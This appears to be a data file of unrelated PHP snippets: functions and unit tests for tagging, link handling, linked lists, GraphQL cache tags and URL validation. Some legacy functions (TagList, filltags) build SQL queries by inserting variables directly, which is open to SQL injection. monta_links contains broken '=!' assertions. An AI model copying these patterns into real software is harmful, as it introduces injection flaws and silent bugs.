"function addTags($rawData, $tag)\n{\n switch($rawData['genericType'])\n {\n case \"Diagram\":\n $rawData['id'] = addTag($rawData['id'], $tag);\n foreach ($rawData['nodeList'] as &$node)\n {\n $node['id'] = addTag($node['id'], $tag);\n }\n\n foreach ($rawData['linkList'] as &$link)\n {\n $link['id'] = addTag($link['id'], $tag);\n $link['originNode'] = addTag($link['originNode'], $tag);\n $link['destinationNode'] = addTag($link['destinationNode'], $tag);\n }\n\n foreach ($rawData['DiaNodeList'] as &$diaNode)\n {\n $diaNode['id'] = addTag($diaNode['id'], $tag);\n }\n\n for ($i = 0; $i < count($rawData['ancestry']); $i++)\n {\n $rawData['ancestry'][$i] = addTag($rawData['ancestry'][$i], $tag);\n }\n\n $rawData['diaNode'] = addTag($rawData['diaNode'], $tag);\n break;\n \n case \"diaNode\":\n // Intentionally let it fall through to Node so that we only\n // have to write linkList code here once\n case \"Node\":\n $rawData['id'] = addTag($rawData['id'], $tag);\n $rawData['diagramId'] = addTag($rawData['diagramId'], $tag);\n foreach ($rawData['linkList'] as &$link)\n {\n $link['id'] = addTag($link['id'], $tag);\n $link['originNode'] = addTag($link['originNode'], $tag);\n $link['destinationNode'] = addTag($link['destinationNode'], $tag);\n }\n break;\n \n case \"Link\":\n $rawData['id'] = addTag($rawData['id'], $tag);\n $rawData['diagramId'] = addTag($rawData['diagramId'], $tag);\n $rawData['originNode']['id'] = addTag($rawData['originNode']['id'], $tag);\n $rawData['destinationNode']['id'] = addTag($rawData['destinationNode']['id'], $tag);\n break;\n \n case \"List\":\n for ($i = 0; $i < count($rawData['list']); $i++)\n {\n $rawData['list'][$i]['id'] = addTag($rawData['list'][$i]['id'], $tag);\n }\n break;\n \n default:\n // Probably should update to a specialized exception\n throw new BadFunctionCallException(\"Not a valid genericType\");\n break;\n \n }\n \n return $rawData;\n}",
"private function assertSiteListContainsTaggedSite(): void\n {\n $siteList = $this->terminusJsonResponse(\n sprintf(\"site:list --filter='tags*=%s'\", self::TEST_SITE_TAG)\n );\n $this->assertIsArray($siteList);\n $this->assertCount(1, $siteList, 'Site list filtered by tag must contain exactly one item.');\n $this->assertTrue(\n isset($siteList[$this->getSiteId()]),\n 'Site list filtered by tag must contain the tagged site.'\n );\n }",
"public function testAllEntitiesUrlResolverRequestHasCorrectTags(): void\n {\n $categoryUrlKey = 'cat-1.html';\n $productUrlKey = 'p002.html';\n $productSku = 'p002';\n /** @var ProductRepositoryInterface $productRepository */\n $productRepository = $this->objectManager->get(ProductRepositoryInterface::class);\n /** @var Product $product */\n $product = $productRepository->get($productSku, false, null, true);\n $storeId = (string) $product->getStoreId();\n\n /** @var UrlFinderInterface $urlFinder */\n $urlFinder = $this->objectManager->get(UrlFinderInterface::class);\n $actualUrls = $urlFinder->findOneByData(\n [\n 'request_path' => $categoryUrlKey,\n 'store_id' => $storeId\n ]\n );\n $categoryId = (string) $actualUrls->getEntityId();\n $categoryQuery = $this->buildQuery($categoryUrlKey);\n\n $productQuery = $this->buildQuery($productUrlKey);\n\n /** @var GetPageByIdentifierInterface $page */\n $page = $this->objectManager->get(GetPageByIdentifierInterface::class);\n /** @var PageInterface $cmsPage */\n $cmsPage = $page->execute('page100', 0);\n $cmsPageId = (string) $cmsPage->getId();\n $requestPath = $cmsPage->getIdentifier();\n $pageQuery = $this->buildQuery($requestPath);\n\n // query category for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $categoryQuery]);\n $this->assertCacheMISSWithTagsForCategory($categoryId, $response);\n\n // query product for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $productQuery]);\n $this->assertCacheMISSWithTagsForProduct((string) $product->getId(), $response);\n\n // query page for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $pageQuery]);\n $this->assertCacheMISSWithTagsForCmsPage($cmsPageId, $response);\n\n // query category for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $categoryQuery]);\n $this->assertCacheHITWithTagsForCategory($categoryId, $response);\n\n // query product for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $productQuery]);\n $this->assertCacheHITWithTagsForProduct((string) $product->getId(), $response);\n\n // query page for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $pageQuery]);\n $this->assertCacheHITWithTagsForCmsPage($cmsPageId, $response);\n\n $product->setUrlKey('something-else-that-invalidates-the-cache');\n $productRepository->save($product);\n $productQuery = $this->buildQuery('something-else-that-invalidates-the-cache.html');\n\n // query category for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $categoryQuery]);\n $this->assertCacheMISSWithTagsForCategory($categoryId, $response);\n\n // query product for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $productQuery]);\n $this->assertCacheMISSWithTagsForProduct((string) $product->getId(), $response);\n\n // query page for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $pageQuery]);\n $this->assertCacheHITWithTagsForCmsPage($cmsPageId, $response);\n }",
"public function hasTags()\n {\n return 0 < count($this->tags);\n }",
"public function testRecursiveLinks()\n {\n $ast42 = (new Builder('ap ap s ap ap c if0 42 ap ap b :42 dec'))->build();\n $astMain = (new Builder('ap :42 10000'))->build();\n $symbols = new SymbolStorage();\n $links = new LinkStorage();\n $context = new Context($symbols, $links);\n\n $links->addLink(42, new NodeExpression($context, $ast42));\n $main = new NodeExpression($context, $astMain);\n $result = $main->eval();\n\n $this->assertInstanceOf(ValueInterface::class, $result);\n /** @var ValueInterface $result */\n $this->assertTrue($result->hasValue());\n $this->assertEquals(42, $result->getValue());\n }",
"function doLink($a1,$a2,$linktype)\n\t{\n\t\t$a1 = wikiArticleNameEncode(trim($a1));\n\t\t$a2 = wikiArticleNameEncode(trim($a2));\n\t\n\t\t//create the initial lists that hold the individual sides\n\t\t\n\t\t\n\t\t$lists[0] = array(cleanArticleKey($a1)=>array('level'=>0,'done'=>false,'names'=>array($a1=>1)));\n\t\t$lists[1] = array(cleanArticleKey($a2)=>array('level'=>0,'done'=>false,'names'=>array($a2=>1)));\n\t\n\t\t$continue = true;\n\t\t$loopcount = 0;\n\t\tdo\n\t\t{\n\t\t\t//pick the bigger of the two article lists\n\t\t\tif(count($lists[0]) <= count($lists[1]))\n\t\t\t{\n\t\t\t\t$smallerside \t= 0;\n\t\t\t\t$largerside \t= 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$smallerside = 1;\n\t\t\t\t$largerside = 0;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t//get links on the smaller of the two sides\n\t\t\t\n\t\t\t\n\t\t\t$curlinkdirection = null;\n\t\t\t//calculate link direction that we are interested in\n\t\t\tif($smallerside==0)\n\t\t\t{\n\t\t\t\tif($linktype == 1\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\t//Left to Right, currently on the Left.\n\t\t\t\t\t//Outbound links\n\t\t\t\t\t$curlinkdirection = 'out';\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif($smallerside==1)\n\t\t\t{\n\t\t\t\tif($linktype == 1)\n\t\t\t\t{\n\t\t\t\t\t//Left to Right, currently on the Right.\n\t\t\t\t\t//Inbound links\n\t\t\t\t\t$curlinkdirection = 'in';\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//go get the links!\n\t\t\t//echo \"curlinkdirection: $curlinkdirection<br/>\";\n\t\t\t\n\t\t\tif(hasUncheckedLinks($lists[$smallerside]))\n\t\t\t{\n\t\t\t\t$return = fetchLinks($lists,$smallerside,$largerside,$curlinkdirection,$linktype);\n\t\t\t\t$lists = $return['lists'];\n\t\t\t\t$finalbt = $return['finalbt'];\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$continue = false;\n\t\t\t}\n\t\t\t\n\n\t\t\t$loopcount++;\n\t\t\t\n\t\t}while($continue == true && count($intersect_results) == 0 && $finalbt == null);\n\t\n\t\t//scenarios for checking links. should be checked AFTER seeing if there was a positive link path established\n\t\tif(!hasUncheckedLinks($lists[0]))\n\t\t{\n\t\t\t//echo \"$a1 was a dead end. :-(<br/>\";\n\t\t\treturn(array('error'=>\"$a1 {$GLOBALS['wikiurls'][$GLOBALS['currentlang']]['text']['deadend']}. :-(\"));\n\t\t}\n\t\telseif(!hasUncheckedLinks($lists[1]))\n\t\t{\n\t\t\t//echo \"$a2 was a dead end. :-(<br/>\";\n\t\t\treturn(array('error'=>\"$a2 {$GLOBALS['wikiurls'][$GLOBALS['currentlang']]['text']['deadend']}. :-(\"));\n\t\t}\n\t\telseif($finalbt != null)\n\t\t{\n\t\t\treturn(array('result'=>$finalbt));\t\t\t\n\t\t}\n\t\t\n\t\treturn($finalbt_values);\n\t\t\n\n\t}",
"public function testGetTags()\n {\n $helix = new Helix(self::$tokenProvider);\n $tagsApi = $helix->tags;\n $tags = $tagsApi->getTags();\n \n $this->assertNotNull($tags);\n $this->assertIsArray($tags);\n\n // Twitch should have more than 20 available tags, so we check that the cursor is available\n $hasMoreResults = $tagsApi->hasMoreTags();\n $this->assertTrue($hasMoreResults);\n\n // Try to get a specific tag by its ID, using the previous results to get the ID.\n $firstTag = reset($tags);\n $onlyTag = $tagsApi->getTags([$firstTag->tag_id]);\n\n $this->assertCount(1, $onlyTag);\n $this->assertEquals($firstTag, reset($onlyTag));\n\n return $firstTag->tag_id;\n }",
"function check_link_hash($token, $link_name)\n{\n\treturn $token === generate_link_hash($link_name);\n}",
"public function testShowSecondTagItemfromIndex()\n {\n $client = static::createClient();\n\n $client->followRedirects(true);\n $crawler = $client->request('GET', '/tag');\n $link= $crawler->selectLink('show')\n ->eq(1)\n ->link();\n\n $this->assertEquals(\n\n $link->getUri(),'http://localhost/tag/2');\n\n }",
"public function testGet()\n\t{\n\t\t$this->linkedList->clear();\n\t\t$elements = $this->newRandomElements();\n\n\t\tforeach ($elements as $element)\n\t\t\t$this->assertTrue($this->linkedList->add($element));\n\n\t\tforeach ($this->linkedList as $index => $element)\n\t\t\t$this->assertEquals($elements[$index], $this->linkedList->get($index));\n\t}",
"function has_next_link(Response $response, &$next_url) : LINK_HEADER\n{\n // find Link Header for remained data\n $link = $response->getHeader('Link');\n\n // no more data\n if (empty($link)) {\n debug('Link header is not exist!', $link);\n\n return LINK_HEADER::NONE();\n }\n\n $ar = preg_split('/,/', $link[0]);\n\n $found = false;\n $next = null;\n\n foreach ($ar as $l) {\n // format: <https://gitlab.example.com/api/v3/projects?page=2&per_page=100>; rel=\"next\"\n //Link: <https://api.github.com/resource?page=2>; rel=\"next\",\n //<https://api.github.com/resource?page=5>; rel=\"last\"\n if (preg_match('/<(.*)>;[ \\t]*rel=\"next\"/', $l, $next) === 1) {\n $next_url = $next[1];\n\n return LINK_HEADER::HAS_NEXT();\n }\n }\n info('we reached last entity! ', $ar);\n\n return LINK_HEADER::REACH_LAST();\n}",
"public function testListSharedLinkRenditions()\n {\n }",
"function monta_links($texto, $vetorDeLexicos, $vetorDeCenarios) {\n assert($vetorDeCenarios =! Null);\n assert($vetorDeLexicos =! NULL);\n assert($texto =! Null);\n \n assert(is_string($texto));\n \n $copiaTexto = $texto;\n $vetorAuxLexicos = 0;\n $vetorAuxCenarios = 0;\n if (!isset($vetorAuxLexicos)) {\n $vetorAuxLexicos = array();\n }\n if (!isset($vetorAuxCenarios)) {\n $vetorAuxCenarios = array();\n }\n if (!isset($vetorDeCenarios)) {\n $vetorDeCenarios = array();\n }\n if (!isset($vetorDeLexicos)) {\n $vetorDeLexicos = array();\n }\n\n // If the vector is empty scenario it will only look for references to lexical\n\n\n if (count($vetorDeCenarios) == 0) {\n\n $i = 0;\n $a = 0;\n while ($i < count($vetorDeLexicos)) {\n $nomeLexico = escapes_metacharacters($vetorDeLexicos[$i]->nome);\n $regex = \"/(\\s|\\b)(\" . $nomeLexico . \")(\\s|\\b)/i\";\n if (preg_match($regex, $copiaTexto) != 0) {\n $copiaTexto = preg_replace($regex, \" \", $copiaTexto);\n $vetorAuxLexicos[$a] = $vetorDeLexicos[$i];\n $a++;\n }\n $i++;\n }\n } else {\n\n //If the vector of scenarios is not empty it will look for lexical and scenarios \n\n $tamLexicos = count($vetorDeLexicos);\n $tamCenarios = count($vetorDeCenarios);\n $tamanhoTotal = $tamLexicos + $tamCenarios;\n $i = 0;\n $j = 0;\n $a = 0;\n $b = 0;\n $contador = 0;\n while ($contador < $tamanhoTotal) {\n if (($i < $tamLexicos ) && ($j < $tamCenarios)) {\n if (strlen($vetorDeCenarios[$j]->titulo) < strlen($vetorDeLexicos[$i]->nome)) {\n $nomeLexico = escapes_metacharacters($vetorDeLexicos[$i]->nome);\n $regex = \"/(\\s|\\b)(\" . $nomeLexico . \")(\\s|\\b)/i\";\n if (preg_match($regex, $copiaTexto) != 0) {\n $copiaTexto = preg_replace($regex, \" \", $copiaTexto);\n $vetorAuxLexicos[$a] = $vetorDeLexicos[$i];\n $a++;\n }\n $i++;\n } else {\n\n $tituloCenario = escapes_metacharacters($vetorDeCenarios[$j]->titulo);\n $regex = \"/(\\s|\\b)(\" . $tituloCenario . \")(\\s|\\b)/i\";\n if (preg_match($regex, $copiaTexto) != 0) {\n $copiaTexto = preg_replace($regex, \" \", $copiaTexto);\n $vetorAuxCenarios[$b] = $vetorDeCenarios[$j];\n $b++;\n }\n $j++;\n }\n } else if ($tamLexicos == $i) {\n\n $tituloCenario = escapes_metacharacters($vetorDeCenarios[$j]->titulo);\n $regex = \"/(\\s|\\b)(\" . $tituloCenario . \")(\\s|\\b)/i\";\n if (preg_match($regex, $copiaTexto) != 0) {\n $copiaTexto = preg_replace($regex, \" \", $copiaTexto);\n $vetorAuxCenarios[$b] = $vetorDeCenarios[$j];\n $b++;\n }\n else\n $j++;\n } else if ($tamCenarios == $j) {\n\n $nomeLexico = escapes_metacharacters($vetorDeLexicos[$i]->nome);\n $regex = \"/(\\s|\\b)(\" . $nomeLexico . \")(\\s|\\b)/i\";\n if (preg_match($regex, $copiaTexto) != 0) {\n $copiaTexto = preg_replace($regex, \" \", $copiaTexto);\n $vetorAuxLexicos[$a] = $vetorDeLexicos[$i];\n $a++;\n }\n else\n $i++;\n }\n else\n $contador++;\n }\n }\n\n // Add links to lexicons in text\n\n $indice = 0;\n $vetorAux = array();\n while ($indice < count($vetorAuxLexicos)) {\n $nomeLexico = escapes_metacharacters($vetorAuxLexicos[$indice]->nome);\n $regex = \"/(\\s|\\b)(\" . $nomeLexico . \")(\\s|\\b)/i\";\n $link = \"<a title=\\\"L�xico\\\" href=\\\"main.php?t=l&id=\" .\n $vetorAuxLexicos[$indice]->id_lexico . \"\\\">\" .\n $vetorAuxLexicos[$indice]->nome . \"</a>\";\n $vetorAux[$indice] = $link;\n $texto = preg_replace($regex, \"$1wzzxkkxy\" . $indice . \"$3\", $texto);\n $indice++;\n }\n $indice2 = 0;\n\n while ($indice2 < count($vetorAux)) {\n $linkLexico = ( $vetorAux[$indice2] );\n $regex = \"/(\\s|\\b)(wzzxkkxy\" . $indice2 . \")(\\s|\\b)/i\";\n $texto = preg_replace($regex, \"$1\" . $linkLexico . \"$3\", $texto);\n $indice2++;\n }\n\n\n // Adds links to scenarios in the text \n\n $vetorAuxCen = array();\n while ($indice < count($vetorAuxCenarios)) {\n $tituloCenario = escapes_metacharacters($vetorAuxCenarios[$indice]->titulo);\n $regex = \"/(\\s|\\b)(\" . $tituloCenario . \")(\\s|\\b)/i\";\n $link = \"$1<a title=\\\"Cen�rio\\\" href=\\\"main.php?t=c&id=\" .\n $vetorAuxCenarios[$indice]->id_cenario . \"\\\"><span style=\\\"font-variant: small-caps\\\">\" .\n $vetorAuxCenarios[$indice]->titulo . \"</span></a>$3\";\n $vetorAuxCen[$indice] = $link;\n $texto = preg_replace($regex, \"$1wzzxkkxyy\" . $indice . \"$3\", $texto);\n $indice++;\n }\n\n while ($indice2 < count($vetorAuxCen)) {\n $linkCenario = ( $vetorAuxCen[$indice2] );\n $regex = \"/(\\s|\\b)(wzzxkkxyy\" . $indice2 . \")(\\s|\\b)/i\";\n $texto = preg_replace($regex, \"$1\" . $linkCenario . \"$3\", $texto);\n $indice2++;\n }\n\n return $texto;\n}",
"public function testGetTagbyValidTagId() {\n\t\t// Count the number of rows and save this for later\n\t\t$numRows = $this->getConnection()->getRowCount(\"tag\");\n\n\t\t// Create a new tag and insert it into mySQL\n\t\t$tag = new Tag(null, $this->VALID_TAG_LABEL);\n\t\t$tag->insert($this->getPDO());\n\n\t\t// Grab the data from mySQL and check the fields against our expectations\n\t\t$pdoTag= Tag::getTagByTagId($this->getPDO(), $tag->getTagId());\n\t\t$this->assertEquals($numRows + 1, $this->getConnection()->getRowCount(\"tag\"));\n\t\t$this->assertLessThan($pdoTag->getTagId(), 0);\n\t\t$this->assertEquals($pdoTag->getTagLabel(), $this->VALID_TAG_LABEL);\n\t}",
"function verifyInternalLink(){\n $this->type(TEXT_EDITOR, \"\");\n $this->click(LINK_ADDLINK);\n $this->type(TEXT_LINKNAME, (WIKI_INTERNAL_LINK));\n $this->assertTrue($this->isElementPresent(ICON_PAGEEXISTS));\n $this->assertEquals(\"on\", $this->getValue(OPT_INTERNAL));\n $this->click(BUTTON_INSERTLINK); \n $this->click(BUTTON_PREVIEW);\n $this->waitForPageToLoad(WIKI_TEST_WAIT_TIME);\n try {\n $this->assertEquals((WIKI_INTERNAL_LINK), $this->getText(LINK_START . WIKI_INTERNAL_LINK));\n } catch (PHPUnit_Framework_AssertionFailedError $e) {\n parent::doCreateScreenShot(__FUNCTION__);\n array_push($this->verificationErrors, $e->toString());\n }\n $this->click(LINK_START. WIKI_INTERNAL_LINK);\n $this->waitForPageToLoad(WIKI_TEST_WAIT_TIME);\n try {\n $this->assertTrue($this->isTextPresent(WIKI_INTERNAL_LINK), $this->getText(TEXT_PAGE_HEADING));\n } catch (PHPUnit_Framework_AssertionFailedError $e) {\n parent::doCreateScreenShot(__FUNCTION__);\n array_push($this->verificationErrors, $e->toString());\n }\n }",
"function in_tag_stack($tag_stack,$tags)\n{\n\tforeach ($tag_stack as $_temp)\n\t{\n\t\tif (in_array($_temp[0],$tags))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}",
"function filltags ($ID_TOPIC = NULL, $LIST = array(), $flag = 0) {\n // flag = 0 => default, both approved and suggested\n // flag = -1 => suggested tags only\n // flag = 1 => approved tags only\n global $db_prefix, $context;\n $context['tags']['topic'] = $ID_TOPIC;\n $context['tags']['by_parent'] = $context['tags']['has_tagged_children'] = array();\n $context['tags']['show_rmsuggest'] = (allowedTo('smftags_manage') ? 0 : -1);\n\n if (empty($ID_TOPIC)) {\n // use of this query needs much refinement as it will be massive on larger forums\n $where = array();\n if (!empty($LIST)) { $where[] = \"t.ID_TAG IN ('\" . implode(\"','\", $LIST) . \"')\"; }\n if (!empty($flag)) { $where[] = \"t.approved = \".max(0,$flag); }\n $query = db_query(\"\n SELECT t.ID_TAG AS ID_TAG, t.tag AS tag, COUNT(l.ID_TAG) AS quantity, t.approved AS approved1, t.parent_id AS parent_id, t.taggable AS taggable\n FROM {$db_prefix}tags AS t\n LEFT JOIN {$db_prefix}tags_log AS l ON t.ID_TAG = l.ID_TAG\n \" . (empty($where) ? '' : 'WHERE ' . implode(' AND ', $where)) . \"\n GROUP BY t.ID_TAG\n ORDER BY t.tag ASC\n \", __FILE__, __LINE__);\n\n while ($array = mysql_fetch_assoc($query)) {\n\n if (!$array['parent_id']) { $array['parent_id'] = 0; }\n // define an array of tags by their parent ids - yes it looks ugly\n $context['tags']['by_parent'][$array['parent_id']][] = array(\n $array['ID_TAG'],\n $array['tag'],\n $array['approved1'],\n $array['taggable'],\n 0,\n -1,\n $array['quantity']\n );\n }\n }\n else {\n $query = db_query(\"\n SELECT t.ID_TAG AS ID_TAG, t.tag AS tag, COUNT(l.ID_TAG) AS quantity, t.approved AS approved1, t.parent_id AS parent_id, t.taggable AS taggable, tl.ID_TAG AS tagged, tl.approved AS approved2\n FROM {$db_prefix}tags AS t\n LEFT JOIN {$db_prefix}tags_log AS tl ON t.ID_TAG = tl.ID_TAG AND tl.ID_TOPIC = $ID_TOPIC\n LEFT JOIN {$db_prefix}tags_log AS l ON t.ID_TAG = l.ID_TAG\n GROUP BY t.ID_TAG\n ORDER BY t.tag ASC\n \", __FILE__, __LINE__);\n\n while ($array = mysql_fetch_assoc($query)) {\n if ($context['tags']['show_rmsuggest'] == 0 && isset($array['approved2']) && $array['approved2'] == 0 && $array['approved1'] == 1) { $context['tags']['show_rmsuggest'] = 1; }\n if (!$array['parent_id']) { $array['parent_id'] = 0; }\n // define an array of tags by their parent ids - yes it looks ugly\n $context['tags']['by_parent'][$array['parent_id']][] = array(\n $array['ID_TAG'],\n $array['tag'],\n $array['approved1'],\n $array['taggable'],\n $array['tagged'],\n $array['approved2'],\n $array['quantity']\n );\n $parents_by_children[$array['ID_TAG']] = $array['parent_id'];\n if ($array['parent_id'] && $array['tagged']) {\n $tempid = $array['ID_TAG'];\n // expand self if tagged and has a parent\n // TODO simplify this convoluted logic and unneccesary data storage\n $context['tags']['has_tagged_children'][$tempid] = TRUE;\n while (isset($parents_by_children[$tempid])) { $tempid = $parents_by_children[$tempid]; $context['tags']['has_tagged_children'][$tempid] = TRUE;}\n }\n }\n $context['tags']['show_rmsuggest'] = max(0, $context['tags']['show_rmsuggest']);\n }\n}",
"public function isProductLinksCanBePurchasedSeparately()\n {\n return (bool) $this->locator->getProduct()->getData('links_purchased_separately');\n }",
"public function testGetTags() {\n $this->assertEquals([\n 'example',\n 'template',\n 'templateMissing',\n 'inline',\n 'inlineAllowInline',\n 'inlineAllowBlock',\n 'inlineAllowBoth',\n 'block',\n 'blockAllowInline',\n 'blockAllowBlock',\n 'blockAllowBoth',\n 'attributes',\n 'fooBar',\n 'parent',\n 'parentNoPersist',\n 'parentWhitelist',\n 'parentBlacklist',\n 'whiteChild',\n 'blackChild',\n 'depth',\n 'lineBreaksRemove',\n 'lineBreaksPreserve',\n 'lineBreaksConvert',\n 'pattern',\n 'autoClose',\n 'aliasBase',\n 'aliased'\n ], array_keys($this->object->getTags()));\n }",
"public function testMultipleIdenticalHashtags()\n {\n $hashtags = array(\n 'foo', // lowercase\n '#foo', // trim me\n 'FOO', // caps\n );\n\n array_walk($hashtags, array( $this->intent, 'addHashtag' ));\n\n $this->assertCount(1, self::getProperty($this->intent, 'hashtags'), 'Failed to collapse multiple representations of a hashtag into a single representative hashtag');\n }",
"function TagList($id, $spacer, $link) {\n\tglobal $setting, $wallpaper_keywords, $lang_tags_id;\n\t$tags = mysql_query(\"\n\tSELECT *\n\tFROM wss_tag_relations bt, wss_tags t\n\tWHERE bt.tag_id = t.id\n\tAND bt.wallpaper_id = $id\n\tGROUP BY bt.id\n\t\") or die (mysql_error());\n\n\t$tag_list = '';\n\t$tag_no = 0;\n\n\twhile($get_tags = mysql_fetch_array($tags)) {\n\t\n\t\t$tag_link = TagUrl($get_tags['seo_url'], 1, 'newest');\n\t\t\n\t\tif ($tag_no == 1) {\n\t\t\tif ($link == 1) {\n\t\t\t\t$tag_list = $tag_list.$spacer.'<a href=\"'.$tag_link.'\">'.$get_tags['tag_name'].'</a>';\n\t\t\t\t$wallpaper_keywords = $wallpaper_keywords.','.$get_tags['tag_name'];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$tag_list = $tag_list.$spacer.$get_tags['tag_name'];\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif ($link == 1) {\n\t\t\t\t$tag_list = $tag_list.'<a href=\"'.$tag_link.'\">'.$get_tags['tag_name'].'</a>';\n\t\t\t\t$wallpaper_keywords = $wallpaper_keywords.$get_tags['tag_name'];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$tag_list = $tag_list.$get_tags['tag_name'];\n\t\t\t}\n\t\t\t\n\t\t\t$tag_no = 1;\n\t\t}\n\t}\n\treturn $tag_list;\n}",
"public function hasLinkedIn(): bool;",
"public function testGetTag() {\n $expected = [\n 'tag' => 'example',\n 'htmlTag' => 'example',\n 'template' => '',\n 'displayType' => Decoda::TYPE_BLOCK,\n 'allowedTypes' => Decoda::TYPE_BOTH,\n 'aliasFor' => '',\n 'attributes' => [],\n 'mapAttributes' => [],\n 'htmlAttributes' => [],\n 'aliasAttributes' => [],\n 'escapeAttributes' => true,\n 'lineBreaks' => Decoda::NL_CONVERT,\n 'autoClose' => false,\n 'preserveTags' => false,\n 'onlyTags' => false,\n 'contentPattern' => '',\n 'stripContent' => false,\n 'parent' => [],\n 'childrenWhitelist' => [],\n 'childrenBlacklist' => [],\n 'maxChildDepth' => -1,\n 'persistContent' => true\n ];\n\n $this->assertEquals($expected, $this->object->getTag('example'));\n\n try {\n $this->object->getTag('fakeTag');\n $this->assertTrue(false);\n } catch (\\Exception $e) {\n $this->assertTrue(true);\n }\n }",
"public function checkTagSorting(array $tagMetadata): bool\n {\n $this->tagMetadata = $tagMetadata;\n $unsortedTags = $this->docTagHelper->getCommentTagTokens();\n $sortedTagNames = $this->getExpandedSortedTags();\n\n $errorCount = 0;\n $currentTagIndex = 0;\n foreach ($unsortedTags as $unsortedTagToken) {\n $tagName = $unsortedTagToken['content'];\n $sortedTagName = $sortedTagNames[$currentTagIndex];\n $currentTagIndex++;\n\n if ($tagName === $sortedTagName) {\n continue;\n }\n\n $errorCount++;\n $this->file->addErrorOnLine(\n AbstractDocSniff::MESSAGE_TAG_WRONG_POSITION,\n $unsortedTagToken['line'],\n AbstractDocSniff::CODE_TAG_WRONG_POSITION,\n [\n $sortedTagName\n ]\n );\n }\n\n return $errorCount === 0;\n }",
"public function testWithAnyNonExistentTags(): void\n {\n /** @var Collection $models */\n $models = TestModel::withAnyTags('Apple,Kumquat')->get();\n $keys = $models->modelKeys();\n\n self::assertArrayValuesAreEqual(\n [\n $this->testModel2->getKey(),\n $this->testModel3->getKey(),\n $this->testModel4->getKey(),\n $this->testModel6->getKey(),\n $this->testModel8->getKey(),\n ],\n $keys\n );\n }",
"public function hasLink() {\n return $this->link!=null;\n }",
"function isURLExistingInLinkArry($url){\r\n foreach($this->link_arry as $link){\r\n if($link->getURL()==$url){\r\n return true;\r\n }\r\n }\r\n return false;\r\n }",
"public function testSize()\n\t{\n\t\t$this->linkedList->clear();\n\n\t\tforeach ($this->newRandomElements() as $index => $element)\n\t\t{\n\t\t\t$this->assertTrue($this->linkedList->add($element));\n\t\t\t$this->assertEquals($index + 1, $this->linkedList->size());\n\t\t\t$this->assertEquals($index + 1, $this->linkedList->count());\n\t\t}\n\t}",
"public function isLink() {\n foreach ($this->fields as $field) {\n if ($field->isLinkIndex()) {\n return true;\n }\n }\n\n return false;\n }",
"public function checkItem(Item $item)\r\n {\r\n $title = $item->getTitle();\r\n $author = $item->getAuthor();\r\n $text = $item->getText();\r\n if($this->checkTitleTooShort($title))\r\n {\r\n return 1;\r\n }\r\n else if($this->checkTitleTooLong($title))\r\n {\r\n return 2;\r\n }\r\n else if($this->checkAuthorTooShort($author))\r\n {\r\n return 3;\r\n }\r\n else if($this->checkAuthorTooLong($author))\r\n {\r\n return 4;\r\n }\r\n else if($this->checkTextTooShort($text))\r\n {\r\n return 5;\r\n }\r\n else if($this->checkTextTooLong($text))\r\n {\r\n return 6;\r\n }\r\n return 0;\r\n }",
"abstract public function isLink($target);",
"function tag2post ( ) {\r\n\t\t$posts = get_option('stpimp_posts');\r\n\t\t\r\n\t\t// null out our results\r\n\t\t$tags_added = 0;\r\n\t\t\r\n\t\t// loop through each post and add its tags to the db\r\n foreach ( $posts as $this_post ) {\r\n \r\n\t\t\t$the_post = (int) $this_post->post_id;\r\n $the_tag = $this_post->tag_name;\r\n\r\n\t\t\t// try to add the tag\r\n\t\t\twp_add_post_tags($the_post, $the_tag);\r\n\r\n\t\t\t$tags_added++;\r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t// that's it, all posts should be linked to their tags properly, pending any errors we just spit out!\r\n\t\treturn $tags_added;\r\n\t\t\r\n\t\t\r\n\t}",
"protected function has_tags(){\n\t\tif( ! empty( $this->tags ) ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\n\t}",
"public function hasLinkTemplate($key);",
"public function testAddItemSubCategoryTag()\n {\n }",
"function IsLink($short_url)\n\t{\n\t\t$this->db->where('id', hexdec($short_url));\n\t\t$this->db->from('links');\n\n\t\tif ($this->db->count_all_results() > 0)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}",
"public function hasLinkWithKey($key) {\n return array_key_exists($key, $this->links);\n }",
"public function has_links(){\n return count( $this->links ) == 0 ? false : true;\n }",
"public static function checkIfLinkIsValid ($linkUrl) {\n if(empty(parse_url($linkUrl)[\"scheme\"]))\n $linkUrl = \"http://\".$linkUrl;\n\n //Validate the url first\n if (filter_var($linkUrl, FILTER_VALIDATE_URL) === false){\n return \"broken\";\n }\n\n // Create the Guzzle client\n $client = new Client([ 'timeout' => 15.0 ]);\n\n try{\n // If link is valid - we get a response\n $response = $client->request('HEAD', $linkUrl);\n // If the reponse has a 200 status code - link is valid\n return [\"status\" => ($response->getStatusCode() === 200) ? \"valid\" : \"broken\",\n \"message\" => ($response->getStatusCode() === 200) ? \"Website returned a status code indicating a successful response when pinged.\"\n : \"Website returned a non-successful status code of: \".$response->getStatusCode().\" - \".$response->getReasonPhrase()];\n\n } catch (RequestException $exception){\n // Guzzle throws a exception on 404 errors\n // If we get a 404, we know the link is bad, otherwise we don't know what went wrong\n return [\"status\" => ($exception->getCode() === 404) ? \"broken\" : \"unknown\",\n \"message\" => \"The ping to the website failed completely with code: \".$exception->getCode().\" - \".$exception->getResponse()->getReasonPhrase()];\n }\n }",
